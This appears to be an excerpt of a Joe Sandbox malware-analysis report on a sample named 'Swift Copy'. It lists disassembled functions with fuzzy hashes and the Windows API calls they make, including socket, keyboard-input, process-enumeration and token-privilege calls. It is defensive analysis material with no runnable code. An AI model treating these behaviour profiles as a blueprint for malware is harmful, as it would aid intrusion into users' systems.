Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 989f9017cdf11c90bc0a99fb6329608d62f6917f71bd171a7d6ea34c92dc3cd0
Instruction ID: 9c95df781ba9c60e93f20fa1d46b7b43211ce338b526dc8558ffae89722aaa8b
Opcode Fuzzy Hash: 989f9017cdf11c90bc0a99fb6329608d62f6917f71bd171a7d6ea34c92dc3cd0
Instruction Fuzzy Hash: 8B417D39A00210EBDF217BFD9C56BFE3AE4EF46770F684225F41AD3192EA7489415272

Function 00E06278 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(00F4F440,?), ref: 00E062E2
ScreenToClient.USER32(?,?), ref: 00E06315
MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,?,?,?), ref: 00E06382

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Window$ClientMoveRectScreen
String ID:
API String ID: 3880355969-0
Opcode ID: f6106702e98f9ef7ab2293fde97fd00f47635314c6adbd6cc3db59055adee3d9
Instruction ID: afdb694d677cc4b45e2912760ea19469a3d7b1619b32620a158e0ba9c54fcf4d
Opcode Fuzzy Hash: f6106702e98f9ef7ab2293fde97fd00f47635314c6adbd6cc3db59055adee3d9
Instruction Fuzzy Hash: 20514D74900209EFDF20DF68D880AAE7BB5FB95364F109259F915AB2E0D734ED91CB90

Function 00DF1AD6 Relevance: 6.1, APIs: 4, Instructions: 138networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000002,00000011), ref: 00DF1AFD
WSAGetLastError.WSOCK32 ref: 00DF1B0B
#21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 00DF1B8A
WSAGetLastError.WSOCK32 ref: 00DF1B94

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: ErrorLast$socket
String ID:
API String ID: 1881357543-0
Opcode ID: f7e2cc302b64ffc8aa49af731c073ac035e808bb43a997163e2d3425c60a7612
Instruction ID: 63e66ad7cd8a8a6b0d86669d1ff43f08bc9e1674a583e22a9d65d96f46b7cca5
Opcode Fuzzy Hash: f7e2cc302b64ffc8aa49af731c073ac035e808bb43a997163e2d3425c60a7612
Instruction Fuzzy Hash: C7417238640200AFD720AF24C886F2977E5EB45718F58C558FA599F2D3E672DD41CBB0

Function 00DAB41F Relevance: 6.1, APIs: 4, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 477b7990f189161dafc9ec21cdf157a0eefa357850c911702b88953b16b30f06
Instruction ID: 604279da94cdc24037814d3e1532c8dc94ed50b3482241176a6e39e5633b037e
Opcode Fuzzy Hash: 477b7990f189161dafc9ec21cdf157a0eefa357850c911702b88953b16b30f06
Instruction Fuzzy Hash: 1D41E875A00704AFD7249F78CC41BAABBE9EB89724F10452FF551DB282D7B1E94287B0

Function 00DE56D9 Relevance: 6.1, APIs: 4, Instructions: 110fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 00DE5783
GetLastError.KERNEL32(?,00000000), ref: 00DE57A9
DeleteFileW.KERNEL32(00000002,?,00000000), ref: 00DE57CE
CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 00DE57FA

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: a770205c8643c416197cb15f181eddd76ef6f7466db51a5f802956af928845b6
Instruction ID: 6b03a303237c8614bd819d6899a827bbd0bff393d444084919636c134197fe44
Opcode Fuzzy Hash: a770205c8643c416197cb15f181eddd76ef6f7466db51a5f802956af928845b6
Instruction Fuzzy Hash: 58411E35600610DFCB11EF15C584A5DBBE2EF89724B19C889E84A6B362DB35FD41CBB1

Function 00DAD8C3 Relevance: 6.1, APIs: 4, Instructions: 110COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,8BE85006,00D96D71,00000000,00000000,00D982D9,?,00D982D9,?,00000001,00D96D71,8BE85006,00000001,00D982D9,00D982D9), ref: 00DAD910
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00DAD999
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 00DAD9AB
__freea.LIBCMT ref: 00DAD9B4

Part of subcall function 00DA3820: RtlAllocateHeap.NTDLL(00000000,?,00E41444,?,00D8FDF5,?,?,00D7A976,00000010,00E41440,00D713FC,?,00D713C6,?,00D71129), ref: 00DA3852

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: 7fb200aff6f33bd22fe68e15586b429b4880844ad3567749e9dd3e3db1e8e41c
Instruction ID: b1cee58c1fe44fdccd73f5c0109cc6b71ceb0bad1d95f48be6f5dbfb1b1cf3c4
Opcode Fuzzy Hash: 7fb200aff6f33bd22fe68e15586b429b4880844ad3567749e9dd3e3db1e8e41c
Instruction Fuzzy Hash: 4431AE72A0020AAFDF249F65DC45EAF7BA6EB42710B194268FC05E6150EB35CD54CBB0

Function 00E052C1 Relevance: 6.1, APIs: 4, Instructions: 104windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001024,00000000,?), ref: 00E05352
GetWindowLongW.USER32(?,000000F0), ref: 00E05375
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00E05382
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00E053A8

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: LongWindow$InvalidateMessageRectSend
String ID:
API String ID: 3340791633-0
Opcode ID: 31edac691585cc1ee65f84ac612f07fed99316ad4c5aa1e28989161708a7675a
Instruction ID: 2857d02ed7418d70978a05e510de2e19db2837fbc5264b14f4d1ca60b1871a95
Opcode Fuzzy Hash: 31edac691585cc1ee65f84ac612f07fed99316ad4c5aa1e28989161708a7675a
Instruction Fuzzy Hash: E7310036A55A08EFEF309F14CC06BEA7765EB05394F586501FA00B62E4C7B9A9C0DF52

Function 00DDAB9C Relevance: 6.1, APIs: 4, Instructions: 103keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,75C0C0D0,?,00008000), ref: 00DDABF1
SetKeyboardState.USER32(00000080,?,00008000), ref: 00DDAC0D
PostMessageW.USER32(00000000,00000101,00000000), ref: 00DDAC74
SendInput.USER32(00000001,?,0000001C,75C0C0D0,?,00008000), ref: 00DDACC6

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: a84248dc6e17335f16b4e0df5d77cd90ad309fdfeeb83b96ff3453934c1158a9
Instruction ID: 98f380a15be8d80cb1bb11538910456af382025aaa92b99223f4debc1aeb2c71
Opcode Fuzzy Hash: a84248dc6e17335f16b4e0df5d77cd90ad309fdfeeb83b96ff3453934c1158a9
Instruction Fuzzy Hash: 29310634A60618AFEF35CB6D8C047FA7BA5AB89330F18831BE485923D1C375C9858772

Function 00E07674 Relevance: 6.1, APIs: 4, Instructions: 102windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 00E0769A
GetWindowRect.USER32(?,?), ref: 00E07710
PtInRect.USER32(?,?,00E08B89), ref: 00E07720
MessageBeep.USER32(00000000), ref: 00E0778C

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: 6be56e9544dc67055f06baa32c353a52d5972bc1b6ba4a06658cec4fcc66f693
Instruction ID: c82ef3c531f0d96d03755cc165ee62deb9432f2cd1ec520ce0564e6eab7d9832
Opcode Fuzzy Hash: 6be56e9544dc67055f06baa32c353a52d5972bc1b6ba4a06658cec4fcc66f693
Instruction Fuzzy Hash: 5A41BF38A05214DFCB01CF59C894EA977F0FB49345F1851AAE994AB2A0C331F9C6CF90

Function 00E016DA Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00E016EB

Part of subcall function 00DD3A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00DD3A57
Part of subcall function 00DD3A3D: GetCurrentThreadId.KERNEL32 ref: 00DD3A5E
Part of subcall function 00DD3A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,00DD25B3), ref: 00DD3A65

GetCaretPos.USER32(?), ref: 00E016FF
ClientToScreen.USER32(00000000,?), ref: 00E0174C
GetForegroundWindow.USER32 ref: 00E01752

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: 1214bd068b52b992bc637aeca529d38eb284938a2d0a1f7688441bec0eee2310
Instruction ID: 5434a61025a2c9d93b2f60daf232cf3b02c906a72c6a0da0a754443e4da2d836
Opcode Fuzzy Hash: 1214bd068b52b992bc637aeca529d38eb284938a2d0a1f7688441bec0eee2310
Instruction Fuzzy Hash: 20313075D01149AFC704EFAAC881CAEBBF9EF89304B5480AAE415E7251E731DE45CBB1

Function 00DDD4DC Relevance: 6.1, APIs: 4, Instructions: 86processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00DDD501
Process32FirstW.KERNEL32(00000000,?), ref: 00DDD50F
Process32NextW.KERNEL32(00000000,?), ref: 00DDD52F
CloseHandle.KERNEL32(00000000), ref: 00DDD5DC

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 3afa90ca4fff0ff944b8fb9f1ceeb5ad8f9b1feaa84938b2dcd174d3eca681ee
Instruction ID: 32cc3e0f03a19f802569ba3508772d7002dbf5dc8a35e69d85c0b473ba15200d
Opcode Fuzzy Hash: 3afa90ca4fff0ff944b8fb9f1ceeb5ad8f9b1feaa84938b2dcd174d3eca681ee
Instruction Fuzzy Hash: 033190720082009FD701EF54D881AAFBBF8EF99354F14452DF585962A1EB719949CBB2

Function 00E08FC9 Relevance: 6.1, APIs: 4, Instructions: 78windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00D89BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00D89BB2

GetCursorPos.USER32(?), ref: 00E09001
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,00DC7711,?,?,?,?,?), ref: 00E09016
GetCursorPos.USER32(?), ref: 00E0905E
DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,00DC7711,?,?,?), ref: 00E09094

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: 76bb91eddd3fabbeb9dc2353754c2d4a33226ba5847df380d95a6a7189902826
Instruction ID: 03c7a97d63f550c6923a71ebb0d88c244cae95fcf08f12da5351ba0ad8a7c07b
Opcode Fuzzy Hash: 76bb91eddd3fabbeb9dc2353754c2d4a33226ba5847df380d95a6a7189902826
Instruction Fuzzy Hash: 6E21EF35200018EFCB258F95CC98EFB7BB9EB8A310F140155F945672A2C376A9D4DB60

Function 00DDD2C1 Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,00E0CB68), ref: 00DDD2FB
GetLastError.KERNEL32 ref: 00DDD30A
CreateDirectoryW.KERNEL32(?,00000000), ref: 00DDD319
CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,00E0CB68), ref: 00DDD376

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast
String ID:
API String ID: 2267087916-0
Opcode ID: 894534aaa6e79e881a73cd19602949d8e35f5bb8aa5d90afbdc2a79fc9998e57
Instruction ID: 590bc500b01bd1a98900f1d251fd6cf52c35ef30af54fc43658b83da3c4c281d
Opcode Fuzzy Hash: 894534aaa6e79e881a73cd19602949d8e35f5bb8aa5d90afbdc2a79fc9998e57
Instruction Fuzzy Hash: 4F216D705093019FCB10DF68C88186ABBE4EF56764F244A1EF499D73A1E731D94ACBA3

Function 00DD1571 Relevance: 6.1, APIs: 4, Instructions: 78memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00DD1014: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00DD102A
Part of subcall function 00DD1014: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00DD1036
Part of subcall function 00DD1014: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00DD1045
Part of subcall function 00DD1014: HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00DD104C
Part of subcall function 00DD1014: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00DD1062

LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 00DD15BE
_memcmp.LIBVCRUNTIME ref: 00DD15E1
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00DD1617
HeapFree.KERNEL32(00000000), ref: 00DD161E

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
String ID:
API String ID: 1592001646-0
Opcode ID: 4aea4ebbc8f2a1693e3e45e8c8a61b91a05a4d4b5ce88dfd28996b2f27666d47
Instruction ID: 0d5c9f02d1e9e61fa7dcc65813032d9e168df4f7b7c313b87bfc07fecc440812
Opcode Fuzzy Hash: 4aea4ebbc8f2a1693e3e45e8c8a61b91a05a4d4b5ce88dfd28996b2f27666d47
Instruction Fuzzy Hash: C8218975E00109FFDF00DFA4C949BEEB7B8EF44344F18455AE441AB241E735AA89CBA0

Function 00E02782 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EC), ref: 00E0280A
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00E02824
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00E02832
SetLayeredWindowAttributes.USER32(?,00000000,?,00000002), ref: 00E02840

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Window$Long$AttributesLayered
String ID:
API String ID: 2169480361-0
Opcode ID: 8ec4d78519c78d2b753c46b05d4c25e71d05f4621f9d3fca89d120291f39222d
Instruction ID: 9e32a209dec17ea97ca8e515523cc9ba5d54c402ed122dc355a72fb8799d70b7
